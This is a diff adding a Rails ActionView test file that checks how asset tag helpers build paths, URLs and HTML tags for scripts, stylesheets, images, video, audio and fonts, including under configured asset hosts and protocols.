+    %(auto_discovery_link_tag(:rss, {}, {:title => "My RSS", :type => "text/html"})) => %(<link href="http://www.example.com" rel="alternate" title="My RSS" type="text/html" />),
+    %(auto_discovery_link_tag(:atom, {}, {:rel => "Not so alternate"})) => %(<link href="http://www.example.com" rel="Not so alternate" title="ATOM" type="application/atom+xml" />),
+  }
+
+  JavascriptPathToTag = {
+    %(javascript_path("xmlhr")) => %(/javascripts/xmlhr.js),
+    %(javascript_path("super/xmlhr")) => %(/javascripts/super/xmlhr.js),
+    %(javascript_path("/super/xmlhr.js")) => %(/super/xmlhr.js),
+    %(javascript_path("xmlhr.min")) => %(/javascripts/xmlhr.min.js),
+    %(javascript_path("xmlhr.min.js")) => %(/javascripts/xmlhr.min.js),
+
+    %(javascript_path("xmlhr.js?123")) => %(/javascripts/xmlhr.js?123),
+    %(javascript_path("xmlhr.js?body=1")) => %(/javascripts/xmlhr.js?body=1),
+    %(javascript_path("xmlhr.js#hash")) => %(/javascripts/xmlhr.js#hash),
+    %(javascript_path("xmlhr.js?123#hash")) => %(/javascripts/xmlhr.js?123#hash)
+  }
+
+  PathToJavascriptToTag = {
+    %(path_to_javascript("xmlhr")) => %(/javascripts/xmlhr.js),
+    %(path_to_javascript("super/xmlhr")) => %(/javascripts/super/xmlhr.js),
+    %(path_to_javascript("/super/xmlhr.js")) => %(/super/xmlhr.js)
+  }
+
+  JavascriptUrlToTag = {
+    %(javascript_url("xmlhr")) => %(http://www.example.com/javascripts/xmlhr.js),
+    %(javascript_url("super/xmlhr")) => %(http://www.example.com/javascripts/super/xmlhr.js),
+    %(javascript_url("/super/xmlhr.js")) => %(http://www.example.com/super/xmlhr.js)
+  }
+
+  UrlToJavascriptToTag = {
+    %(url_to_javascript("xmlhr")) => %(http://www.example.com/javascripts/xmlhr.js),
+    %(url_to_javascript("super/xmlhr")) => %(http://www.example.com/javascripts/super/xmlhr.js),
+    %(url_to_javascript("/super/xmlhr.js")) => %(http://www.example.com/super/xmlhr.js)
+  }
+
+  JavascriptIncludeToTag = {
+    %(javascript_include_tag("bank")) => %(<script src="/javascripts/bank.js" ></script>),
+    %(javascript_include_tag("bank.js")) => %(<script src="/javascripts/bank.js" ></script>),
+    %(javascript_include_tag("bank", :lang => "vbscript")) => %(<script lang="vbscript" src="/javascripts/bank.js" ></script>),
+
+    %(javascript_include_tag("http://example.com/all")) => %(<script src="http://example.com/all"></script>),
+    %(javascript_include_tag("http://example.com/all.js")) => %(<script src="http://example.com/all.js"></script>),
+    %(javascript_include_tag("//example.com/all.js")) => %(<script src="//example.com/all.js"></script>),
+  }
+
+  StylePathToTag = {
+    %(stylesheet_path("bank")) => %(/stylesheets/bank.css),
+    %(stylesheet_path("bank.css")) => %(/stylesheets/bank.css),
+    %(stylesheet_path('subdir/subdir')) => %(/stylesheets/subdir/subdir.css),
+    %(stylesheet_path('/subdir/subdir.css')) => %(/subdir/subdir.css),
+    %(stylesheet_path("style.min")) => %(/stylesheets/style.min.css),
+    %(stylesheet_path("style.min.css")) => %(/stylesheets/style.min.css)
+  }
+
+  PathToStyleToTag = {
+    %(path_to_stylesheet("style")) => %(/stylesheets/style.css),
+    %(path_to_stylesheet("style.css")) => %(/stylesheets/style.css),
+    %(path_to_stylesheet('dir/file')) => %(/stylesheets/dir/file.css),
+    %(path_to_stylesheet('/dir/file.rcss', :extname => false)) => %(/dir/file.rcss),
+    %(path_to_stylesheet('/dir/file', :extname => '.rcss')) => %(/dir/file.rcss)
+  }
+
+  StyleUrlToTag = {
+    %(stylesheet_url("bank")) => %(http://www.example.com/stylesheets/bank.css),
+    %(stylesheet_url("bank.css")) => %(http://www.example.com/stylesheets/bank.css),
+    %(stylesheet_url('subdir/subdir')) => %(http://www.example.com/stylesheets/subdir/subdir.css),
+    %(stylesheet_url('/subdir/subdir.css')) => %(http://www.example.com/subdir/subdir.css)
+  }
+
+  UrlToStyleToTag = {
+    %(url_to_stylesheet("style")) => %(http://www.example.com/stylesheets/style.css),
+    %(url_to_stylesheet("style.css")) => %(http://www.example.com/stylesheets/style.css),
+    %(url_to_stylesheet('dir/file')) => %(http://www.example.com/stylesheets/dir/file.css),
+    %(url_to_stylesheet('/dir/file.rcss', :extname => false)) => %(http://www.example.com/dir/file.rcss),
+    %(url_to_stylesheet('/dir/file', :extname => '.rcss')) => %(http://www.example.com/dir/file.rcss)
+  }
+
+  StyleLinkToTag = {
+    %(stylesheet_link_tag("bank")) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" />),
+    %(stylesheet_link_tag("bank.css")) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" />),
+    %(stylesheet_link_tag("/elsewhere/file")) => %(<link href="/elsewhere/file.css" media="screen" rel="stylesheet" />),
+    %(stylesheet_link_tag("subdir/subdir")) => %(<link href="/stylesheets/subdir/subdir.css" media="screen" rel="stylesheet" />),
+    %(stylesheet_link_tag("bank", :media => "all")) => %(<link href="/stylesheets/bank.css" media="all" rel="stylesheet" />),
+
+    %(stylesheet_link_tag("http://www.example.com/styles/style")) => %(<link href="http://www.example.com/styles/style" media="screen" rel="stylesheet" />),
+    %(stylesheet_link_tag("http://www.example.com/styles/style.css")) => %(<link href="http://www.example.com/styles/style.css" media="screen" rel="stylesheet" />),
+    %(stylesheet_link_tag("//www.example.com/styles/style.css")) => %(<link href="//www.example.com/styles/style.css" media="screen" rel="stylesheet" />),
+  }
+
+  ImagePathToTag = {
+    %(image_path("xml"))          => %(/images/xml),
+    %(image_path("xml.png"))      => %(/images/xml.png),
+    %(image_path("dir/xml.png"))  => %(/images/dir/xml.png),
+    %(image_path("/dir/xml.png")) => %(/dir/xml.png)
+  }
+
+  PathToImageToTag = {
+    %(path_to_image("xml"))          => %(/images/xml),
+    %(path_to_image("xml.png"))      => %(/images/xml.png),
+    %(path_to_image("dir/xml.png"))  => %(/images/dir/xml.png),
+    %(path_to_image("/dir/xml.png")) => %(/dir/xml.png)
+  }
+
+  ImageUrlToTag = {
+    %(image_url("xml"))          => %(http://www.example.com/images/xml),
+    %(image_url("xml.png"))      => %(http://www.example.com/images/xml.png),
+    %(image_url("dir/xml.png"))  => %(http://www.example.com/images/dir/xml.png),
+    %(image_url("/dir/xml.png")) => %(http://www.example.com/dir/xml.png)
+  }
+
+  UrlToImageToTag = {
+    %(url_to_image("xml"))          => %(http://www.example.com/images/xml),
+    %(url_to_image("xml.png"))      => %(http://www.example.com/images/xml.png),
+    %(url_to_image("dir/xml.png"))  => %(http://www.example.com/images/dir/xml.png),
+    %(url_to_image("/dir/xml.png")) => %(http://www.example.com/dir/xml.png)
+  }
+
+  ImageLinkToTag = {
+    %(image_tag("xml.png")) => %(<img alt="Xml" src="/images/xml.png" />),
+    %(image_tag("rss.gif", :alt => "rss syndication")) => %(<img alt="rss syndication" src="/images/rss.gif" />),
+    %(image_tag("gold.png", :size => "20")) => %(<img alt="Gold" height="20" src="/images/gold.png" width="20" />),
+    %(image_tag("gold.png", :size => "45x70")) => %(<img alt="Gold" height="70" src="/images/gold.png" width="45" />),
+    %(image_tag("gold.png", "size" => "45x70")) => %(<img alt="Gold" height="70" src="/images/gold.png" width="45" />),
+    %(image_tag("error.png", "size" => "45 x 70")) => %(<img alt="Error" src="/images/error.png" />),
+    %(image_tag("error.png", "size" => "x")) => %(<img alt="Error" src="/images/error.png" />),
+    %(image_tag("google.com.png")) => %(<img alt="Google.com" src="/images/google.com.png" />),
+    %(image_tag("slash..png")) => %(<img alt="Slash." src="/images/slash..png" />),
+    %(image_tag(".pdf.png")) => %(<img alt=".pdf" src="/images/.pdf.png" />),
+    %(image_tag("http://www.rubyonrails.com/images/rails.png")) => %(<img alt="Rails" src="http://www.rubyonrails.com/images/rails.png" />),
+    %(image_tag("//www.rubyonrails.com/images/rails.png")) => %(<img alt="Rails" src="//www.rubyonrails.com/images/rails.png" />),
+    %(image_tag("mouse.png", :alt => nil)) => %(<img src="/images/mouse.png" />),
+    %(image_tag("data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==", :alt => nil)) => %(<img src="data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" />),
+    %(image_tag("")) => %(<img src="" />)
+  }
+
+  FaviconLinkToTag = {
+    %(favicon_link_tag) => %(<link href="/images/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />),
+    %(favicon_link_tag 'favicon.ico') => %(<link href="/images/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />),
+    %(favicon_link_tag 'favicon.ico', :rel => 'foo') => %(<link href="/images/favicon.ico" rel="foo" type="image/vnd.microsoft.icon" />),
+    %(favicon_link_tag 'favicon.ico', :rel => 'foo', :type => 'bar') => %(<link href="/images/favicon.ico" rel="foo" type="bar" />),
+    %(favicon_link_tag 'mb-icon.png', :rel => 'apple-touch-icon', :type => 'image/png') => %(<link href="/images/mb-icon.png" rel="apple-touch-icon" type="image/png" />)
+  }
+
+  VideoPathToTag = {
+    %(video_path("xml"))          => %(/videos/xml),
+    %(video_path("xml.ogg"))      => %(/videos/xml.ogg),
+    %(video_path("dir/xml.ogg"))  => %(/videos/dir/xml.ogg),
+    %(video_path("/dir/xml.ogg")) => %(/dir/xml.ogg)
+  }
+
+  PathToVideoToTag = {
+    %(path_to_video("xml"))          => %(/videos/xml),
+    %(path_to_video("xml.ogg"))      => %(/videos/xml.ogg),
+    %(path_to_video("dir/xml.ogg"))  => %(/videos/dir/xml.ogg),
+    %(path_to_video("/dir/xml.ogg")) => %(/dir/xml.ogg)
+  }
+
+  VideoUrlToTag = {
+    %(video_url("xml"))          => %(http://www.example.com/videos/xml),
+    %(video_url("xml.ogg"))      => %(http://www.example.com/videos/xml.ogg),
+    %(video_url("dir/xml.ogg"))  => %(http://www.example.com/videos/dir/xml.ogg),
+    %(video_url("/dir/xml.ogg")) => %(http://www.example.com/dir/xml.ogg)
+  }
+
+  UrlToVideoToTag = {
+    %(url_to_video("xml"))          => %(http://www.example.com/videos/xml),
+    %(url_to_video("xml.ogg"))      => %(http://www.example.com/videos/xml.ogg),
+    %(url_to_video("dir/xml.ogg"))  => %(http://www.example.com/videos/dir/xml.ogg),
+    %(url_to_video("/dir/xml.ogg")) => %(http://www.example.com/dir/xml.ogg)
+  }
+
+  VideoLinkToTag = {
+    %(video_tag("xml.ogg")) => %(<video src="/videos/xml.ogg"></video>),
+    %(video_tag("rss.m4v", :autoplay => true, :controls => true)) => %(<video autoplay="autoplay" controls="controls" src="/videos/rss.m4v"></video>),
+    %(video_tag("rss.m4v", :autobuffer => true)) => %(<video autobuffer="autobuffer" src="/videos/rss.m4v"></video>),
+    %(video_tag("gold.m4v", :size => "160x120")) => %(<video height="120" src="/videos/gold.m4v" width="160"></video>),
+    %(video_tag("gold.m4v", "size" => "320x240")) => %(<video height="240" src="/videos/gold.m4v" width="320"></video>),
+    %(video_tag("trailer.ogg", :poster => "screenshot.png")) => %(<video poster="/images/screenshot.png" src="/videos/trailer.ogg"></video>),
+    %(video_tag("error.avi", "size" => "100")) => %(<video height="100" src="/videos/error.avi" width="100"></video>),
+    %(video_tag("error.avi", "size" => "100 x 100")) => %(<video src="/videos/error.avi"></video>),
+    %(video_tag("error.avi", "size" => "x")) => %(<video src="/videos/error.avi"></video>),
+    %(video_tag("http://media.rubyonrails.org/video/rails_blog_2.mov")) => %(<video src="http://media.rubyonrails.org/video/rails_blog_2.mov"></video>),
+    %(video_tag("//media.rubyonrails.org/video/rails_blog_2.mov")) => %(<video src="//media.rubyonrails.org/video/rails_blog_2.mov"></video>),
+    %(video_tag("multiple.ogg", "multiple.avi")) => %(<video><source src="/videos/multiple.ogg" /><source src="/videos/multiple.avi" /></video>),
+    %(video_tag(["multiple.ogg", "multiple.avi"])) => %(<video><source src="/videos/multiple.ogg" /><source src="/videos/multiple.avi" /></video>),
+    %(video_tag(["multiple.ogg", "multiple.avi"], :size => "160x120", :controls => true)) => %(<video controls="controls" height="120" width="160"><source src="/videos/multiple.ogg" /><source src="/videos/multiple.avi" /></video>)
+  }
+
+  AudioPathToTag = {
+    %(audio_path("xml"))          => %(/audios/xml),
+    %(audio_path("xml.wav"))      => %(/audios/xml.wav),
+    %(audio_path("dir/xml.wav"))  => %(/audios/dir/xml.wav),
+    %(audio_path("/dir/xml.wav")) => %(/dir/xml.wav)
+  }
+
+  PathToAudioToTag = {
+    %(path_to_audio("xml"))          => %(/audios/xml),
+    %(path_to_audio("xml.wav"))      => %(/audios/xml.wav),
+    %(path_to_audio("dir/xml.wav"))  => %(/audios/dir/xml.wav),
+    %(path_to_audio("/dir/xml.wav")) => %(/dir/xml.wav)
+  }
+
+  AudioUrlToTag = {
+    %(audio_url("xml"))          => %(http://www.example.com/audios/xml),
+    %(audio_url("xml.wav"))      => %(http://www.example.com/audios/xml.wav),
+    %(audio_url("dir/xml.wav"))  => %(http://www.example.com/audios/dir/xml.wav),
+    %(audio_url("/dir/xml.wav")) => %(http://www.example.com/dir/xml.wav)
+  }
+
+  UrlToAudioToTag = {
+    %(url_to_audio("xml"))          => %(http://www.example.com/audios/xml),
+    %(url_to_audio("xml.wav"))      => %(http://www.example.com/audios/xml.wav),
+    %(url_to_audio("dir/xml.wav"))  => %(http://www.example.com/audios/dir/xml.wav),
+    %(url_to_audio("/dir/xml.wav")) => %(http://www.example.com/dir/xml.wav)
+  }
+
+  AudioLinkToTag = {
+    %(audio_tag("xml.wav")) => %(<audio src="/audios/xml.wav"></audio>),
+    %(audio_tag("rss.wav", :autoplay => true, :controls => true)) => %(<audio autoplay="autoplay" controls="controls" src="/audios/rss.wav"></audio>),
+    %(audio_tag("http://media.rubyonrails.org/audio/rails_blog_2.mov")) => %(<audio src="http://media.rubyonrails.org/audio/rails_blog_2.mov"></audio>),
+    %(audio_tag("//media.rubyonrails.org/audio/rails_blog_2.mov")) => %(<audio src="//media.rubyonrails.org/audio/rails_blog_2.mov"></audio>),
+    %(audio_tag("audio.mp3", "audio.ogg")) => %(<audio><source src="/audios/audio.mp3" /><source src="/audios/audio.ogg" /></audio>),
+    %(audio_tag(["audio.mp3", "audio.ogg"])) => %(<audio><source src="/audios/audio.mp3" /><source src="/audios/audio.ogg" /></audio>),
+    %(audio_tag(["audio.mp3", "audio.ogg"], :autobuffer => true, :controls => true)) => %(<audio autobuffer="autobuffer" controls="controls"><source src="/audios/audio.mp3" /><source src="/audios/audio.ogg" /></audio>)
+  }
+
+  FontPathToTag = {
+    %(font_path("font.eot")) => %(/fonts/font.eot),
+    %(font_path("font.eot#iefix")) => %(/fonts/font.eot#iefix),
+    %(font_path("font.woff")) => %(/fonts/font.woff),
+    %(font_path("font.ttf")) => %(/fonts/font.ttf),
+    %(font_path("font.ttf?123")) => %(/fonts/font.ttf?123)
+  }
+
+  def test_autodiscovery_link_tag_with_unknown_type_but_not_pass_type_option_key
+    assert_raise(ArgumentError) do
+      auto_discovery_link_tag(:xml)
+    end
+  end
+
+  def test_autodiscovery_link_tag_with_unknown_type
+    result = auto_discovery_link_tag(:xml, '/feed.xml', :type => 'application/xml')
+    expected = %(<link href="/feed.xml" rel="alternate" title="XML" type="application/xml" />)
+    assert_equal expected, result
+  end
+
+  def test_asset_path_tag
+    AssetPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_asset_path_tag_to_not_create_duplicate_slashes
+    @controller.config.asset_host = "host/"
+    assert_dom_equal('http://host/foo', asset_path("foo"))
+
+    @controller.config.relative_url_root = '/some/root/'
+    assert_dom_equal('http://host/some/root/foo', asset_path("foo"))
+  end
+
+  def test_compute_asset_public_path
+    assert_equal "/robots.txt", compute_asset_path("robots.txt")
+    assert_equal "/robots.txt", compute_asset_path("/robots.txt")
+    assert_equal "/javascripts/foo.js", compute_asset_path("foo.js", :type => :javascript)
+    assert_equal "/javascripts/foo.js", compute_asset_path("/foo.js", :type => :javascript)
+    assert_equal "/stylesheets/foo.css", compute_asset_path("foo.css", :type => :stylesheet)
+  end
+
+  def test_auto_discovery_link_tag
+    AutoDiscoveryToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_javascript_path
+    JavascriptPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_path_to_javascript_alias_for_javascript_path
+    PathToJavascriptToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_javascript_url
+    JavascriptUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_url_to_javascript_alias_for_javascript_url
+    UrlToJavascriptToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_javascript_include_tag
+    JavascriptIncludeToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_javascript_include_tag_with_missing_source
+    assert_nothing_raised {
+      javascript_include_tag('missing_security_guard')
+    }
+
+    assert_nothing_raised {
+      javascript_include_tag('http://example.com/css/missing_security_guard')
+    }
+  end
+
+  def test_javascript_include_tag_is_html_safe
+    assert javascript_include_tag("prototype").html_safe?
+  end
+
+  def test_javascript_include_tag_relative_protocol
+    @controller.config.asset_host = "assets.example.com"
+    assert_dom_equal %(<script src="//assets.example.com/javascripts/prototype.js"></script>), javascript_include_tag('prototype', protocol: :relative)
+  end
+
+  def test_javascript_include_tag_default_protocol
+    @controller.config.asset_host = "assets.example.com"
+    @controller.config.default_asset_host_protocol = :relative
+    assert_dom_equal %(<script src="//assets.example.com/javascripts/prototype.js"></script>), javascript_include_tag('prototype')
+  end
+
+  def test_stylesheet_path
+    StylePathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_path_to_stylesheet_alias_for_stylesheet_path
+    PathToStyleToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_stylesheet_url
+    StyleUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_url_to_stylesheet_alias_for_stylesheet_url
+    UrlToStyleToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_stylesheet_link_tag
+    StyleLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_stylesheet_link_tag_with_missing_source
+    assert_nothing_raised {
+      stylesheet_link_tag('missing_security_guard')
+    }
+
+    assert_nothing_raised {
+      stylesheet_link_tag('http://example.com/css/missing_security_guard')
+    }
+  end
+
+  def test_stylesheet_link_tag_is_html_safe
+    assert stylesheet_link_tag('dir/file').html_safe?
+    assert stylesheet_link_tag('dir/other/file', 'dir/file2').html_safe?
+  end
+
+  def test_stylesheet_link_tag_escapes_options
+    assert_dom_equal %(<link href="/file.css" media="<script>" rel="stylesheet" />), stylesheet_link_tag('/file', :media => '<script>')
+  end
+
+  def test_stylesheet_link_tag_should_not_output_the_same_asset_twice
+    assert_dom_equal %(<link href="/stylesheets/wellington.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/amsterdam.css" media="screen" rel="stylesheet" />), stylesheet_link_tag('wellington', 'wellington', 'amsterdam')
+  end
+
+  def test_stylesheet_link_tag_with_relative_protocol
+    @controller.config.asset_host = "assets.example.com"
+    assert_dom_equal %(<link href="//assets.example.com/stylesheets/wellington.css" media="screen" rel="stylesheet" />), stylesheet_link_tag('wellington', protocol: :relative)
+  end
+
+  def test_stylesheet_link_tag_with_default_protocol
+    @controller.config.asset_host = "assets.example.com"
+    @controller.config.default_asset_host_protocol = :relative
+    assert_dom_equal %(<link href="//assets.example.com/stylesheets/wellington.css" media="screen" rel="stylesheet" />), stylesheet_link_tag('wellington')
+  end
+
+  def test_image_path
+    ImagePathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_path_to_image_alias_for_image_path
+    PathToImageToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_image_url
+    ImageUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_url_to_image_alias_for_image_url
+    UrlToImageToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_image_alt
+    [nil, '/', '/foo/bar/', 'foo/bar/'].each do |prefix|
+      assert_equal 'Rails', image_alt("#{prefix}rails.png")
+      assert_equal 'Rails', image_alt("#{prefix}rails-9c0a079bdd7701d7e729bd956823d153.png")
+      assert_equal 'Long file name with hyphens', image_alt("#{prefix}long-file-name-with-hyphens.png")
+      assert_equal 'Long file name with underscores', image_alt("#{prefix}long_file_name_with_underscores.png")
+    end
+  end
+
+  def test_image_tag
+    ImageLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_image_tag_does_not_modify_options
+    options = {:size => '16x10'}
+    image_tag('icon', options)
+    assert_equal({:size => '16x10'}, options)
+  end
+
+  def test_favicon_link_tag
+    FaviconLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_video_path
+    VideoPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_path_to_video_alias_for_video_path
+    PathToVideoToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_video_url
+    VideoUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_url_to_video_alias_for_video_url
+    UrlToVideoToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_video_tag
+    VideoLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_audio_path
+    AudioPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_path_to_audio_alias_for_audio_path
+    PathToAudioToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_audio_url
+    AudioUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_url_to_audio_alias_for_audio_url
+    UrlToAudioToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_audio_tag
+    AudioLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_font_path
+    FontPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_video_audio_tag_does_not_modify_options
+    options = {:autoplay => true}
+    video_tag('video', options)
+    assert_equal({:autoplay => true}, options)
+    audio_tag('audio', options)
+    assert_equal({:autoplay => true}, options)
+  end
+
+  def test_image_tag_interpreting_email_cid_correctly
+    # An inline image has no need for an alt tag to be automatically generated from the cid:
+    assert_equal '<img src="cid:thi%25%25sis at acontentid" />', image_tag("cid:thi%25%25sis at acontentid")
+  end
+
+  def test_image_tag_interpreting_email_adding_optional_alt_tag
+    assert_equal '<img alt="Image" src="cid:thi%25%25sis at acontentid" />', image_tag("cid:thi%25%25sis at acontentid", :alt => "Image")
+  end
+
+  def test_should_not_modify_source_string
+    source = '/images/rails.png'
+    copy = source.dup
+    image_tag(source)
+    assert_equal copy, source
+  end
+
+  def test_image_path_with_asset_host_proc_returning_nil
+    @controller.config.asset_host = Proc.new do |source|
+      unless source.end_with?("tiff")
+        "cdn.example.com"
+      end
+    end
+
+    assert_equal "/images/file.tiff", image_path("file.tiff")
+    assert_equal "http://cdn.example.com/images/file.png", image_path("file.png")
+  end
+
+  def test_caching_image_path_with_caching_and_proc_asset_host_using_request
+    @controller.config.asset_host = Proc.new do |source, request|
+      if request.ssl?
+        "#{request.protocol}#{request.host_with_port}"
+      else
+        "#{request.protocol}assets#{source.length}.example.com"
+      end
+    end
+
+    @controller.request.stubs(:ssl?).returns(false)
+    assert_equal "http://assets15.example.com/images/xml.png", image_path("xml.png")
+
+    @controller.request.stubs(:ssl?).returns(true)
+    assert_equal "http://localhost/images/xml.png", image_path("xml.png")
+  end
+end
+
+class AssetTagHelperNonVhostTest < ActionView::TestCase
+  tests ActionView::Helpers::AssetTagHelper
+
+  attr_reader :request
+
+  def setup
+    super
+    @controller = BasicController.new
+    @controller.config.relative_url_root = "/collaboration/hieraki"
+
+    @request = Struct.new(:protocol, :base_url).new("gopher://", "gopher://www.example.com")
+    @controller.request = @request
+  end
+
+  def url_for(options)
+    "http://www.example.com/collaboration/hieraki"
+  end
+
+  def test_should_compute_proper_path
+    assert_dom_equal(%(<link href="http://www.example.com/collaboration/hieraki" rel="alternate" title="RSS" type="application/rss+xml" />), auto_discovery_link_tag)
+    assert_dom_equal(%(/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
+    assert_dom_equal(%(/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
+    assert_dom_equal(%(/collaboration/hieraki/images/xml.png), image_path("xml.png"))
+  end
+
+  def test_should_return_nothing_if_asset_host_isnt_configured
+    assert_equal nil, compute_asset_host("foo")
+  end
+
+  def test_should_current_request_host_is_always_returned_for_request
+    assert_equal "gopher://www.example.com", compute_asset_host("foo", :protocol => :request)
+  end
+
+  def test_should_ignore_relative_root_path_on_complete_url
+    assert_dom_equal(%(http://www.example.com/images/xml.png), image_path("http://www.example.com/images/xml.png"))
+  end
+
+  def test_should_return_simple_string_asset_host
+    @controller.config.asset_host = "assets.example.com"
+    assert_equal "gopher://assets.example.com", compute_asset_host("foo")
+  end
+
+  def test_should_return_relative_asset_host
+    @controller.config.asset_host = "assets.example.com"
+    assert_equal "//assets.example.com", compute_asset_host("foo", :protocol => :relative)
+  end
+
+  def test_should_return_custom_protocol_asset_host
+    @controller.config.asset_host = "assets.example.com"
+    assert_equal "ftp://assets.example.com", compute_asset_host("foo", :protocol => "ftp")
+  end
+
+  def test_should_compute_proper_path_with_asset_host
+    @controller.config.asset_host = "assets.example.com"
+    assert_dom_equal(%(<link href="http://www.example.com/collaboration/hieraki" rel="alternate" title="RSS" type="application/rss+xml" />), auto_discovery_link_tag)
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_path("xml.png"))
+  end
+
+  def test_should_compute_proper_path_with_asset_host_and_default_protocol
+    @controller.config.asset_host = "assets.example.com"
+    @controller.config.default_asset_host_protocol = :request
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_path("xml.png"))
+  end
+
+  def test_should_compute_proper_url_with_asset_host
+    @controller.config.asset_host = "assets.example.com"
+    assert_dom_equal(%(<link href="http://www.example.com/collaboration/hieraki" rel="alternate" title="RSS" type="application/rss+xml" />), auto_discovery_link_tag)
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_url("xmlhr"))
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_url("style"))
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_url("xml.png"))
+  end
+
+  def test_should_compute_proper_url_with_asset_host_and_default_protocol
+    @controller.config.asset_host = "assets.example.com"
+    @controller.config.default_asset_host_protocol = :request
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_url("xmlhr"))
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_url("style"))
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_url("xml.png"))
+  end
+
+  def test_should_return_asset_host_with_protocol
+    @controller.config.asset_host = "http://assets.example.com"
+    assert_equal "http://assets.example.com", compute_asset_host("foo")
+  end
+
+  def test_should_ignore_asset_host_on_complete_url
+    @controller.config.asset_host = "http://assets.example.com"
+    assert_dom_equal(%(<link href="http://bar.example.com/stylesheets/style.css" media="screen" rel="stylesheet" />), stylesheet_link_tag("http://bar.example.com/stylesheets/style.css"))
+  end
+
+  def test_should_ignore_asset_host_on_scheme_relative_url
+    @controller.config.asset_host = "http://assets.example.com"
+    assert_dom_equal(%(<link href="//bar.example.com/stylesheets/style.css" media="screen" rel="stylesheet" />), stylesheet_link_tag("//bar.example.com/stylesheets/style.css"))
+  end
+
+  def test_should_wildcard_asset_host
+    @controller.config.asset_host = 'http://a%d.example.com'
+    assert_match(%r(http://a[0123].example.com), compute_asset_host("foo"))
+  end
+
+  def test_should_wildcard_asset_host_between_zero_and_four
+    @controller.config.asset_host = 'http://a%d.example.com'
+    assert_match(%r(http://a[0123].example.com/collaboration/hieraki/images/xml.png), image_path('xml.png'))
+    assert_match(%r(http://a[0123].example.com/collaboration/hieraki/images/xml.png), image_url('xml.png'))
+  end
+
+  def test_asset_host_without_protocol_should_be_protocol_relative
+    @controller.config.asset_host = 'a.example.com'
+    assert_equal 'gopher://a.example.com/collaboration/hieraki/images/xml.png', image_path('xml.png')
+    assert_equal 'gopher://a.example.com/collaboration/hieraki/images/xml.png', image_url('xml.png')
+  end
+
+  def test_asset_host_without_protocol_should_be_protocol_relative_even_if_path_present
+    @controller.config.asset_host = 'a.example.com/files/go/here'
+    assert_equal 'gopher://a.example.com/files/go/here/collaboration/hieraki/images/xml.png', image_path('xml.png')
+    assert_equal 'gopher://a.example.com/files/go/here/collaboration/hieraki/images/xml.png', image_url('xml.png')
+  end
+
+  def test_assert_css_and_js_of_the_same_name_return_correct_extension
